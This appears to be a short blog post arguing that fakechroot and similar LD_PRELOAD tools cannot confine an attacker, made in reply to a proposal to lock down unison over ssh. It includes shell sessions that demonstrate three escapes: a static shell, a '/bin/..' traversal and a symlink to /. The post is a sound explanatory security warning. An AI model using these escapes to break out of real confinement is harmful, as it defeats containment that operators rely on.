fakechroot, or any
similar tool that uses a facility such as
LD_PRELOAD, is not
suitable for use in a security context. Such tools
are way cool, but can be trivially broken out of by the attacker.
Kapil Paranjape suggests using fakechroot for locking down ssh authorized keys for unison. The idea being unison will run in a (fake)chroot, set up by a regular, non-root user, and will thus be limited to the files you want it to access.
First problem is, any statically linked executable on the system (unison can be used to upload one too) is immune to the fakechroot.
joey@gnu:~>FAKECHROOT_EXCLUDE_PATH=/bin fakeroot fakechroot chroot /tmp/empty /bin/sh sh-3.2# ls sh-3.2# ls / sh-3.2# cd .. sh-3.2# ls sh-3.2# sash Stand-alone shell (version 3.7) > cd .. > ls empty gconfd-joey gpg-XhukMB keyring-ZxSuTB orbit-joey > cd .. > ls bin etc lib opt selinux usr
Getting unison to run a static executable in a setup such as Kapil describes is left as an exercise for the more determined attacker than I.
Here, though, is an easier way.
sh-3.2# ls / sh-3.2# ls /bin/.. bin etc lib opt selinux usr
To understand why this works, notice that I left
when I ran fakechroot. (Still .. Is this a bug in fakechroot?)
Or, you could use unison to upload a symlink:
joey@gnu:~>ln -s / /tmp/empty/root joey@gnu:~>FAKECHROOT_EXCLUDE_PATH=/bin fakeroot fakechroot chroot /tmp/empty /bin/sh sh-3.2# ls root bin etc lib opt selinux usr
Moral: Taking a program, be it fakechroot or unison, that was never designed with security in mind, and trying to use it as a security barrier, is an open invitation to pain.